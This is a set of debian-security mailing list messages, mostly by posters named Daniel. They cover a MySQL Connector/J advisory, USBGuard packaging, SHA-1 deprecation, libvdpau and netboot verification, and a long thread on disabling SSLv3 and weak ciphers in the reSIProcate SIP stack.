> or delete access to some MySQL Connectors accessible data as well as
> read access to a subset of MySQL Connectors accessible data. The
> vulnerability was addressed by upgrading mysql-connector-java to the new
> upstream version 5.1.39, which includes additional changes, such as bug
> fixes, new features, and possibly incompatible changes. Please see the
> MySQL Connector/J Release Notes and Oracle's Critical Patch Update
> advisory for further details:
>
>  https://dev.mysql.com/doc/relnotes/connector-j/5.1/en/news-5-1.html
>
> http://www.oracle.com/technetwork/topics/security/cpuapr2015-2365600.html#AppendixMSQL
>
> For the stable distribution (jessie), this problem has been fixed in
> version 5.1.39-1~deb8u1.
>
> We recommend that you upgrade your mysql-connector-java packages.
>
> Further information about Debian Security Advisories, how to apply
> these updates to your system and frequently asked questions can be
> found at: https://www.debian.org/security/
>
> Mailing list: debian-security-annou...@lists.debian.org
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1
>
> iQIcBAEBCgAGBQJXjQKkAAoJEAVMuPMTQ89Ee2UP/18I4detSRWBBnIaEGlmIqEw
> wTnsJlwtxwCjzDXRL61Vd2MxNbHEGwq8IQi/nWnoNhqRBUXEko5/X72Gx5UFtrMK
> 5nu1uTZe8xCmFJUaTsvfEb0FtKJ/1I07VHcxgjXJx6J9SXPtal8oKnAQLKfCQAPT
> +eFnY8ISjc6xaEYJK/Ddtjt/GXTWPFEvtd4mWH+l19kc2uLwR6RjCgr8NLdsmERv
> D5EgTgj5MbnMZPW6SpvcRJj2aWRLqADe9CLxNlw19NNzaXsuZ3Od8IZQ75Nt95CG
> RW69EqQTKjblVhvGyb7U13TKqvieM5cqmww2oqt6+4+M/vvJcXctEPT1jBhexJNX
> 2cy8fzwlI4OMqIrPfJ/SJh7+YQfD9zSLKWuYkVIy+K/39tmIahlLY6TKS8AvIAda
> sxDTnvj9dajZEI/DUXdtMoMeqg8hHXs1cYHFFN2uKPLdTTvyAqGQBl9ycf5Njlfa
> 9rQmdr0UhdP03a5JDSmCBmj+t8iA2hnelV4hg0FtwKUeoguihato8ULOpYQXx1Hg
> 5AjwBqpNCLBjBVSKzAjJgR9pXO0M3Ibh/dp/55znDMU8evniVVcS8avnePZeIL5V
> 2suyruiCgLE9CmoWD+p1UzV1qdLHdXnZrZEsUejfX1O0C2u2QdDgHuSF/hCnw1Nj
> hEABqqwx0F1UALfdvI0A
> =ezgL
> -END PGP SIGNATURE-
>
>

Re: Bug#791919: RFP: USBGuard -- protect your computer against rogue USB devices

[Daniel Kopeček]

Hello,

On 05/22/2016 12:25 AM, Rebecca N. Palmer wrote:

Control: merge -1 813809

I'd also like to see this (or an equivalent: I'm not aware of any, but
haven't looked much) in Debian, and am willing to try packaging it, but
am not sure whether it's a good idea for a non-DD,
non-security-specialist to maintain a security tool.


feel free to contact me if there are any issues with the upstream code 
w.r.t. packaging in Debian. I haven't packaged anything for Debian yet, 
so I won't be of much help in that area but I can try.



It's in Fedora, with packaging [0] that looks fairly easy to translate
to Debian (if that's legal - I don't know whether License: in a Fedora
.spec means "including this packaging");


What is the legal problem here? I think the default license for the 
.spec file is MIT:


https://fedoraproject.org/wiki/Licensing:Main?rd=Licensing#License_of_Fedora_SPEC_Files

The upstream repository (which includes the .spec file too) is licensed 
under GPLv2+. That's probably an inconsistency that I should fix...



Regards,
--
Daniel Kopeček
Software Engineer, Special Projects
Red Hat, Inc.

Re: Debian SHA-1 deprecation

[Daniel Pocock]

On 19/05/16 03:17, Paul Wise wrote:
> On Wed, May 18, 2016 at 9:20 PM, Daniel Pocock wrote:
> 
>> Can anybody comment on how Debian users will be impacted by SHA-1
>> deprecation?
> 
> There is some info related to that in these two wiki pages:
> 
> https://wiki.debian.org/SHA-1


The way that page is structured today, it mixes things about how SHA-1
is used in Debian infrastructure (e.g. for the SPI CA) and how it is
used in some of the software we distributed (e.g. in Git)

Maybe we need to break it into separate sections:
- SHA-1 in Debian infrastructure and workflows
- SHA-1 in Debian packages

Are there any useful discussions about the deprecation of MD-5 that we
could link to, to give people an understanding of how things will change
or how they should change?


> https://wiki.debian.org/Teams/Apt/Sha1Removal
> 

Debian SHA-1 deprecation

[Daniel Pocock]

Can anybody comment on how Debian users will be impacted by SHA-1
deprecation?

In particular:

- will libraries like OpenSSL and GnuTLS continue to support it in
stretch and beyond?

- will web servers like Apache support it in server certificates or
certificate chains?

- will web servers and other applications accept client certificates
containing SHA-1 hashes?

- if support for SHA-1 is being removed or disabled by default, will it
also be disabled in security updates to jessie and wheezy LTS?

Re: Remove email

[DANIEL ROMO]

mv tiffanyryan2...@gmail.com /dev/null

2016-03-31 9:42 GMT-05:00 Tiffany Ryan <tiffanyryan2...@gmail.com>:

> Please remove my email from you system
>
> tiffanyryan2...@gmail.com
>



-- 


"La imaginación es más importante que el conocimiento. Einstein"


*Daniel Romo*
*SysAdmin* / Linit.biz <http://linit.biz>


d4nnr.blogspot.com.co #Blog_Personal

Re: [SECURITY] [DSA 3355-2] libvdpau regression update

[Daniel Reichelt]

On 11/03/2015 08:30 AM, Ansgar Burchardt wrote:
> dak needs to forget that it has seen the file. Which means either
> resigning it or ftp-master telling dak to do so. I just did the latter
> and moved the upload back to the processing queue.

Just tried the update and it worked fine. Thanks for the quick fix!

Daniel

Re: [SECURITY] [DSA 3355-2] libvdpau regression update

[Daniel Reichelt]

Hi *

the amd64 build for 0.8-3+deb8u2 seems to be missing from [1].

Is this an error or am I missing something?


Thanks
Daniel


[1] http://security.debian.org/pool/updates/main/libv/libvdpau/



On 11/02/2015 08:27 PM, Alessandro Ghedini wrote:
> -
> Debian Security Advisory DSA-3355-2   secur...@debian.org
> https://www.debian.org/security/   Alessandro Ghedini
> November 02, 2015 https://www.debian.org/security/faq
> -
> 
> Package: libvdpau
> Debian Bug : 802625
> 
> The previous update for libvdpau, DSA-3355-1, introduced a regression in
> the stable distribution (jessie) causing a segmentation fault when the
> DRI_PRIME environment variable is set. For reference, the original
> advisory text follows.
> 
> Florian Weimer of Red Hat Product Security discovered that libvdpau, the
> VDPAU wrapper library, did not properly validate environment variables,
> allowing local attackers to gain additional privileges.
> 
> For the stable distribution (jessie), this problem has been fixed in
> version 0.8-3+deb8u2.
> 
> We recommend that you upgrade your libvdpau packages.
> 
> Further information about Debian Security Advisories, how to apply
> these updates to your system and frequently asked questions can be
> found at: https://www.debian.org/security/
> 
> Mailing list: debian-security-annou...@lists.debian.org
> 
> 

Re: Verification of netboot installer and firmware files

[Daniel Reichelt]

On 09/06/2015 07:14 PM, Paul Wise wrote:
> On Sun, Sep 6, 2015 at 10:20 AM, Daniel Reichelt wrote:
> 
>> [1] 
>> http://ftp.nl.debian.org/debian/dists/stretch/main/installer-amd64/current/images/
> 
> ftp://ftp.debian.org/debian/dists/stretch/Release
> ftp://ftp.debian.org/debian/dists/stretch/Release.gpg
> 
>> [3] http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/
> 
> Probably better to use the ISO images that include firmware, these are signed:
> 
> http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/
> 

Paul, thanks a lot for the hints. That'll do...

Daniel

Verification of netboot installer and firmware files

[Daniel Reichelt]

Hey there

I'm wondering if there's a practical way to verify the netboot installer files
and firmware archives provided via [1]-[3]. I couldn't find anything similar to
the signed (md5|shaX)sum files provided for the ISOs, nor any lines in the
official installation guide about verification.

Am I missing s.th.? Looking forward to suggestions!


If I'm really the first one to bring this up: IMHO the simplest solution would
be to gpg-sign the hash lists under [1]/[2] and provide signed hash lists for
[3] as well.



Thanks

Daniel


[1] 
http://ftp.nl.debian.org/debian/dists/stretch/main/installer-amd64/current/images/
[2] http://d-i.debian.org/daily-images/amd64/daily/
[3] http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/

Re: are unattended updates a good idea?

[Daniel]

On Sat, Jan 31, 2015 at 02:50:31PM +0100, Ml Ml wrote:
 Thank you very much! Your comments has been really helpful.
 
 Cheers,
 Mario
 
 On Sat, Jan 31, 2015 at 12:53 PM, Michael Zoet michael.z...@zoet.de wrote:
  Hi,
 
  Hello List,
 
  i have got about 50 Debian 6+7 Servers. They are doing all kind of
  things like Webserver, Mailserver, DNS, etc…
 
  I am using apticron to keep track of the updates, but i seem to use
  more and more time updating the hosts.

Also, you should note that some services might be restarted automatically
during this process, so if you have long running nightly jobs or something
similar it might cause some issues. This issue could also true in reverse;
Some service might have to be manually restarted to load updated libraries
and such.

MySQL server upgrades might break nightly jobs because of restarts, kernel
upgrades would probably need a reboot etc so you should keep an eye on
these things.

That being said: We have used unattended-upgrades on our servers for a
couple of years and we have never had any problems with the packages
themselves yet though, so this seems to be a smaller problem. Still, you
should consider having a test server with tools like needsrestart and
apt-listchanges, and a test suite for your applications to check if
they still work with the new packages and that every service is back to
normal afterwards.

Just sharing my thoughts about this.

- Daniel


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20150201051415.gb19...@noserver.visp.name

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 21:28, Daniel Pocock wrote:
 
 
 On 08/12/14 21:16, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 08:17:53PM +0100, Daniel Pocock wrote:

 If I understand your reply correctly, the version in Ubuntu and Fedora
 will still talk TLS 1.0 with the version now waiting in jessie?

 Yes.

 Do you believe it would be reasonable for me to request a smaller
 unblock that just changes the call TLSv1_method to SSLv23_method?

 That depends on wether it's acting as client or server.  If it's
 acting as server I say yes.  If it's acting as client I suggest
 you also have a way to turn off TLS 1.2.  I understand that it
 needs to be able to talk to many different things and TLS 1.2 has
 has been breaking things it shouldn't and you already indicated
 problems with some products.  But maybe it just needs to be used
 for a while with the SSLv23 method to see if there are problems or
 not.

 
 It plays a few roles:
 
 a) repro acts as a WebSocket server (for WebRTC)
 
 b) in federated SIP, repro acts as both server and client
 
 c) in a phone system, repro acts as server (e.g. my home phone system
 has some Polycom desk phones, Jitsi with JDK1.7 and Lumicall on Android
 as clients)
 
 d) people use the reSIProcate library in all kinds of products where it
 is client (e.g. in Counterpath softphones) or server (e.g. in some
 commercial Session Border Controllers).
 
 All of these use cases are supported by the Debian packages.
 
 For the SIP proxy, repro, the smallest possible change to use SSLv23 as
 default would involve touching 6 lines of code in repro/ReproRunner.cxx,
 replacing SecurityTypes::TLSv1 with
 SecurityTypes::SSLv23 on each.  As well as changing the server behavior,
 this also has the effect of enabling TLS 1.2 when acting as client in a
 federated SIP connection.
 
 For other uses of the library it is up to the developer to select SSLv23
 when they call SipStack::addTransport
 

Thanks for this feedback, I made a patch for the existing package and
submitted another unblock:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=772634

To keep the change smaller, I just hardcoded it to use SSLv23_method and
not to use TLS 1.2 for any client connections.  This is still an
improvement over the previous behavior of the package using TLS 1.0 for
everything.


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/54875743.1050...@pocock.pro

SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

Hi all,

I've made some changes to TLS code in reSIProcate

- setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method()

- adding configuration options to override the options to
SSL_CTX_set_options (as it is possible there will be some user with old
VoIP hardware out there who wants SSL v3)

- making the cipher list configurable in repro.config

The release team didn't feel these things justify an unblock
request[1].  Can anybody comment on this?  Looking at the CVE
details[2], it appears that some packages still support SSL v3 while
I've heard many people just want to turn it off.

Is it important for application developers to try and minimize the use
of SSL v3 and older ciphers or will these things be phased out by
changing the options centrally in the OpenSSL packages?

I felt that by putting control of these things in the libresip API and
the repro.config file it would help avoid situations where the package
needs to be recompiled to deal with security patching and therefore
reduce the burden on the security updates process.

If it will help the release team, is there anybody from the security
team who could review the changes in my debdiff?

Regards,

Daniel

1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=772487
2. https://security-tracker.debian.org/tracker/CVE-2014-3566




-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/54855e6d.9000...@pocock.pro

Re: Bug#772487: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 10:20, Adam D. Barratt wrote:
 On Mon, 2014-12-08 at 09:16 +0100, Daniel Pocock wrote:
 [...]
 If it will help the release team, is there anybody from the security
 team who could review the changes in my debdiff?
 Note that debian-security@lists.debian.org is not a contact address for
 the security team.

 (Also I don't see anything in the nack mail that says it was related to
 being unable to review the debdiff.)


I wasn't suggesting that was the cause for the nack email although I
remember some discussion around the wheezy release that the size of
diffs is considered a factor in unblock requests.

I understand that sometimes the security team have made decisions about
what should go through to stable, e.g. for the browser version updates
and the security team are also getting involved if some vulnerability is
found in future so I value their opinion on this particular case.

The WebSocket transport (which includes TLS support) in packages like
reSIProcate, Kamailio and Asterisk needs to remain interoperable with
the browsers and the server side also needs to remain secure throughout
the life of jessie so there are a range of reasons I'm asking about this.



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/54856fa5.8020...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 10:48, Thijs Kinkhorst wrote:
 Hi Daniel,

 On Mon, December 8, 2014 09:16, Daniel Pocock wrote:
 I've made some changes to TLS code in reSIProcate

 - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method()

 - adding configuration options to override the options to
 SSL_CTX_set_options (as it is possible there will be some user with old
 VoIP hardware out there who wants SSL v3)

 - making the cipher list configurable in repro.config

 The release team didn't feel these things justify an unblock
 request[1].  Can anybody comment on this?  Looking at the CVE
 details[2], it appears that some packages still support SSL v3 while
 I've heard many people just want to turn it off.

 Is it important for application developers to try and minimize the use
 of SSL v3 and older ciphers or will these things be phased out by
 changing the options centrally in the OpenSSL packages?

 I felt that by putting control of these things in the libresip API and
 the repro.config file it would help avoid situations where the package
 needs to be recompiled to deal with security patching and therefore
 reduce the burden on the security updates process.
 Until now, I've been very much in favour of and have been working to get
 changes into jessie that disable SSLv3 in applications and/or that make
 protocols and ciphers configurable. Recent history has shown a lot of
 SSL-related attacks so applications being configurable is indeed quite
 preferable where possible as it's likely that some other attack will pop
 up in the jessie lifetime.

 Disabling SSLv3 has indeed been done on the library level. Nonetheless I

You mean the flag is set by default but the flag can be removed at
runtime with SSL_CTX_clear_options?

Or it is necessary to rebuild the OpenSSL binaries to get back SSLv3?

 think disabling it in applications and servers has been useful aswell
 because it aids in a proper understanding of why it doesn't work, and it
 helps against a case where an admin needs to use an SSLv3-enabled library
 for a specific service - he will then still not expose unrelated services
 on the system.

In VoIP, there is a lot of legacy hardware around.  People with old IP
phones or ISDN gateway devices on a private VLAN may have a good reason
to keep using SSL v3 and very little risk from doing so and so I wanted
to make sure they still have that choice without re-compiling anything. 
For somebody who just installs the package though and wants to use it
for federated SIP or WebRTC on the Internet, I want it to be both secure
and compatible with browsers by default.

 I took a quick glance at your changes. Personally I think the option that
 removes options from the protocols list is rather counterintuitive and
 I've not seen it used in different places. Especially because the ciphers
 option seems to behave exactly opposite: that lists ciphers that /are/
 allowed. The list of allowed ciphers is also not very impressive in terms
 of strongness, not sure where it's sourced from.

My options work exactly the way that SSL_CTX_set_options and
SSL_CTX_clear_options work in OpenSSL.  The OpenSSL documents explain
that it works that way:
https://www.openssl.org/docs/ssl/SSL_CTX_set_options.html

I agree it is not intuitive but as the document explains it well and the
individual flags are also explained in the OpenSSL documentation I
thought I would just stick with their approach.

 Nonetheless, I have no power obviously over the release team, and I
 understand that getting non-acute changes in at this point is too late
 since the published deadline for non-RC changes has passed on St Nicholas'
 eve. I can fully understand that these kinds of changes, especially if
 they touch a lot of code, fall fully within the definition of an
 important bug as there's no acute breakage currently, also considering
 that the library disables the protocol. We have to live with the fact that
 there will be an inevitable cutoff point for any release. We did our best
 to get as much as possible in, and now we'll have to deal with whatever
 ended up in that release through the security channels when the situation
 arrives.

That is what is not so clear to me.

In the SIP proxy (repro.deb package) it just uses TLSv1 by default. 
There is no exposure to SSLv3.  However, the cipher list may not be
strong enough:

!SSLv2:aRSA+AES:aDSS+AES:@STRENGTH:aRSA+3DES:aDSS+3DES:aRSA+RC4+MEDIUM:aDSS+RC4+MEDIUM:aRSA+DES:aDSS+DES:aRSA+RC4:aDSS+RC4

so the bug I made against repro has severity important.

In the library package (libresiprocate-1.9.deb) there is no default
SSL/TLS mode.  It uses whatever the project using the library selects. 
If some developer wants to enable dynamic selection of TLS version by
using SSLv23_method then they are going to get SSLv3 too.  So I put the
security tag on that bug and made it serious.  If the possible use of
SSL v3 is not RC though I can change the severity of that bug down to
important though.

What is your

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 11:12, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 09:16:45AM +0100, Daniel Pocock wrote:
 Hi all,

 I've made some changes to TLS code in reSIProcate

 - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method()
 This has no effect in jessie.  SSLv2 and SSLv3 are disabled if you
 use the SSLv23_* methods.  The only way to enable SSLv3 is to use
 the SSLv3_* methods.  You should always use the SSLv23 method as
 those are the only that support more than 1 protocol version.

Can you please clarify that - if somebody explicitly calls
SSL_CTX_clear_options with SSL_OP_NO_SSLv3 will they get back support
for SSLv3 in SSLv23_method?

 I would love to see people stopping the SSLv3 methods, and they
 have been removed in experimental.  I'm also working on only
 having the SSLv23 method available.

In VoIP, this is not so trivial.  People have devices like IP phones and
ISDN gateways to use on their LAN.  Some of the older ones may not
support anything more than SSL v3 very well.

If these devices are used on a private VLAN then the risk of using old
crypto is not the same as the risk on the public Internet so I prefer to
give these people config options to support their hardware but disabled
by default.

Just one other point: if somebody is trying sending the client hello
using SSL v2 record layer but indicating support for TLS v1.0, should
TLSv1_method or SSLv23_method accept that?

There is an example of it here:
https://issues.asterisk.org/jira/browse/ASTERISK-13845

and it looks something like this:

Secure Sockets Layer
SSLv2 Record Layer: Client Hello
...
Version: TLS 1.0 (0x0301)
...

I've noticed that the reSIProcate code using TLSv1_method refuses to
accept connections from peers like that.

Should SSLv23_method support that even with v2 and v3 disabled?



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/54858094.6070...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 12:04, Thijs Kinkhorst wrote:
 On Mon, December 8, 2014 11:17, Daniel Pocock wrote:
 In the library package (libresiprocate-1.9.deb) there is no default
 SSL/TLS mode.  It uses whatever the project using the library selects.
 If some developer wants to enable dynamic selection of TLS version by
 using SSLv23_method then they are going to get SSLv3 too.  So I put the
 security tag on that bug and made it serious.  If the possible use of
 SSL v3 is not RC though I can change the severity of that bug down to
 important though.
 In non-browser situations I see the possible use as SSLv3 currently as
 undesirable but not as a critical issue. So changes addressing that now
 have missed the freeze deadline. Pity, but nothing can be done about that.

 What is your impression of the cipher list though?  Should the MEDIUM
 entries, DES and RC4 stuff be in there or should I be getting rid of
 those and would that potentially justify an unblock or security bug?
 Although we're striving to remove said protocols in jessie, I do not think
 there's currently an acute security issue if they are enabled. And as you
 said yourself, there's a compatibility question at stake in your ecosystem
 which I know nothing about.
There are two possibilities:

a) users of the same product (another repro SIP proxy on Linux), users
of a WebRTC browser (only works on browsers less than 12 months old),
users of Lumicall (Android JVM) or Jitsi (should be JDK 1.6 or greater)
- all basically using recent TLS client code.

b) users of older VoIP hardware

My intention for this package is that users in group (a) should be as
secure as possible, without loss of compatibility, just using the
default cipher list and protocol version in the package.

Users in group (b) should be able to get it working by changing the
configuration but it does not need to work for them with the defaults.

 All in all I see no issues here that would warrant a DSA if they should be
 present. So that makes it clear to me that a freeze exception on these
 grounds is currently also not in reach.

 Should lintian possibly scan packages to see if they define cipher lists
 so they can be checked across the whole distribution or is that already
 checked in some way?
 Would be nice, but I'm not sure I can devise a check that would recognise
 cipher lists in a reliable way.


It is probably not hard to scan binaries to see if they call
SSL_CTX_set_cipher_list

Actually detecting the text being passed to that function would be more
tricky though.



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/548596b2.1090...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 12:36, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 11:42:28AM +0100, Daniel Pocock wrote:
 On 08/12/14 11:12, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 09:16:45AM +0100, Daniel Pocock wrote:
 Hi all,

 I've made some changes to TLS code in reSIProcate

 - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method()
 This has no effect in jessie.  SSLv2 and SSLv3 are disabled if you
 use the SSLv23_* methods.  The only way to enable SSLv3 is to use
 the SSLv3_* methods.  You should always use the SSLv23 method as
 those are the only that support more than 1 protocol version.
 Can you please clarify that - if somebody explicitly calls
 SSL_CTX_clear_options with SSL_OP_NO_SSLv3 will they get back support
 for SSLv3 in SSLv23_method?
 No, the library doesn't support SSLv3 in combination with the
 SSLv23 method.  Setting or clearing SSL_OP_NO_SSLv3 doesn't have
 any effect.

Thanks for confirming that.

 I would love to see people stopping the SSLv3 methods, and they
 have been removed in experimental.  I'm also working on only
 having the SSLv23 method available.
 In VoIP, this is not so trivial.  People have devices like IP phones and
 ISDN gateways to use on their LAN.  Some of the older ones may not
 support anything more than SSL v3 very well.

 If these devices are used on a private VLAN then the risk of using old
 crypto is not the same as the risk on the public Internet so I prefer to
 give these people config options to support their hardware but disabled
 by default.
 So why use SSL at all?
Only for cases where people may already have it configured that way.

It is not an issue for my own personal use cases.

 Just one other point: if somebody is trying sending the client hello
 using SSL v2 record layer but indicating support for TLS v1.0, should
 TLSv1_method or SSLv23_method accept that?
 I would expect that both should support that.

With TLSv1_method and reSIProcate/OpenSSL on wheezy it fails with

error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number

Error code = 336130315 file=s3_pkt.c line=348



 There is an example of it here:
 https://issues.asterisk.org/jira/browse/ASTERISK-13845

 and it looks something like this:

 Secure Sockets Layer
 SSLv2 Record Layer: Client Hello
 ...
 Version: TLS 1.0 (0x0301)
 ...

 I've noticed that the reSIProcate code using TLSv1_method refuses to
 accept connections from peers like that.

 Should SSLv23_method support that even with v2 and v3 disabled?
 Yes it should.




-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/54859797.6070...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 13:53, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 01:20:39PM +0100, Daniel Pocock wrote:
 Just one other point: if somebody is trying sending the client hello
 using SSL v2 record layer but indicating support for TLS v1.0, should
 TLSv1_method or SSLv23_method accept that?
 I would expect that both should support that.
 With TLSv1_method and reSIProcate/OpenSSL on wheezy it fails with

 error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number

 Error code = 336130315 file=s3_pkt.c line=348
 So I start an s_server with:
 openssl s_server -tls1 

 And then:
 openssl s_client: TLSv1
 openssl s_client -tls1: TLSv1

 I tried the s_server and s_client on both jessie and wheezy.  This
 should just work.

 If both sides drop the -tls1 of course changes to TLSv1.2.

 But it really should always work, and if doesn't I'd argue that's
 a bug.

 But you say that it sends an SSLv2 compatible client hello.  By
 default it shouldn't be doing that unless you change the ciphers
 suite to include SSLv2 ciphers and aren't using any extentions,
 and as far as I know you currently can't disable extentions in
 either wheez or jessie.
It is the opposite - the remote system is sending the SSLv2 compatible
client hello.  The Debian/repro system is the server side.

I have no idea what technology is in use in the remote/client system.

If my server socket is using TLSv1_method it is rejecting the connection
and logging those errors on my server:

error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number
Error code = 336130315 file=s3_pkt.c line=348

My server then sends TCP RST to the client



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5485a904.4090...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 18:58, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 02:35:00PM +0100, Daniel Pocock wrote:

 I have no idea what technology is in use in the remote/client system.

 If my server socket is using TLSv1_method it is rejecting the connection
 and logging those errors on my server:

 error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number
 Error code = 336130315 file=s3_pkt.c line=348

 My server then sends TCP RST to the client
 
 So I can actually reproduce this with the s_client from squeeze,
 since that still generates an SSLv2 compatible client hello.  That
 does fail talking to any server using the TLSv1 method but
 works talking to the SSLv23 method.  Since I'm actually going to
 remove support for the TLSv1 method I don't intend to fix this.
 

Will the TLSv1 method be removed in jessie or while jessie is still
supported?

If so, then applications like repro that use it by default will need to
be patched.


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5485ec69.2030...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 19:25, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 07:22:33PM +0100, Daniel Pocock wrote:

 Will the TLSv1 method be removed in jessie or while jessie is still
 supported?
 
 This is something post jessie.
 

Is it something that is going to happen with Ubuntu releases next year
(e.g. April 2015)?

If so, it means that the repro package in jessie won't talk to a repro
package in Ubuntu.


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5485f12e.9090...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 20:06, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 07:42:54PM +0100, Daniel Pocock wrote:

 Is it something that is going to happen with Ubuntu releases next year
 (e.g. April 2015)?

 If so, it means that the repro package in jessie won't talk to a repro
 package in Ubuntu.
 
 I think there is some misunderstanding.
 
 People have been using methods like SSLv3_* and TLSv1_* while they
 should use SSLv23_*.  SSLv3_* only support SSL 3.0, TLSv1_* only
 support TLS 1.0, it does not support SSL 3.0 or TLS 1.1.  SSLv23_*
 on the other hand supports all versions supported by library (but
 see below).  The intention is to drop all methods that only
 support 1 protocol version and instead have only methods that
 support all versions (SSLv23).
 
 The library in jessie supports TLS 1.0 to TLS 1.2.  However the
 the SSLv3 methods still exist in jessie so you can still talk SSL
 3.0 in jessie.  However the SSLv23 methods do not support SSL 3.0
 in jessie anymore.  They still supports SSL 3.0 in wheezy.  That
 means if one side uses SSLv3_* and the the verion in jessie or
 later use SSLv23_* they will not talk to each other.  And there
 are packages that have been fixed to stop using the SSLv3_*
 methods in jessie and they will not talk to the version in wheezy.
 The versie in wheezy really should also get fixed to use the
 SSLv23_* method.
 
 The SSLv3_* method has been removed in experimental and the
 TLSv1_* method will also be removed post jessie but I have no
 timeframe for that.  But everybody really should only use the
 SSLv23_* methods.
 
 But the removal of the TLSv1_* methods should not cause any issue
 if you replace it by the SSLv23_* methods since there currently
 are no plans to drop support for TLS 1.0.
 

What we have right now in jessie (and wheezy) is hard-coded to use
TLSv1_method.

The v1.9.8-1 upload to unstable, which will also propagate to the next
Ubuntu and will also be uploaded to Fedora very soon, uses SSLv23_method

If I understand your reply correctly, the version in Ubuntu and Fedora
will still talk TLS 1.0 with the version now waiting in jessie?

Do you believe it would be reasonable for me to request a smaller
unblock that just changes the call TLSv1_method to SSLv23_method?


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5485f961.8080...@pocock.pro

Re: SSL 3.0 and older ciphers selected in applications

[Daniel Pocock]

On 08/12/14 21:16, Kurt Roeckx wrote:
 On Mon, Dec 08, 2014 at 08:17:53PM +0100, Daniel Pocock wrote:

 If I understand your reply correctly, the version in Ubuntu and Fedora
 will still talk TLS 1.0 with the version now waiting in jessie?
 
 Yes.
 
 Do you believe it would be reasonable for me to request a smaller
 unblock that just changes the call TLSv1_method to SSLv23_method?
 
 That depends on wether it's acting as client or server.  If it's
 acting as server I say yes.  If it's acting as client I suggest
 you also have a way to turn off TLS 1.2.  I understand that it
 needs to be able to talk to many different things and TLS 1.2 has
 has been breaking things it shouldn't and you already indicated
 problems with some products.  But maybe it just needs to be used
 for a while with the SSLv23 method to see if there are problems or
 not.
 

It plays a few roles:

a) repro acts as a WebSocket server (for WebRTC)

b) in federated SIP, repro acts as both server and client

c) in a phone system, repro acts as server (e.g. my home phone system
has some Polycom desk phones, Jitsi with JDK1.7 and Lumicall on Android
as clients)

d) people use the reSIProcate library in all kinds of products where it
is client (e.g. in Counterpath softphones) or server (e.g. in some
commercial Session Border Controllers).

All of these use cases are supported by the Debian packages.

For the SIP proxy, repro, the smallest possible change to use SSLv23 as
default would involve touching 6 lines of code in repro/ReproRunner.cxx,
replacing SecurityTypes::TLSv1 with
SecurityTypes::SSLv23 on each.  As well as changing the server behavior,
this also has the effect of enabling TLS 1.2 when acting as client in a
federated SIP connection.

For other uses of the library it is up to the developer to select SSLv23
when they call SipStack::addTransport



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
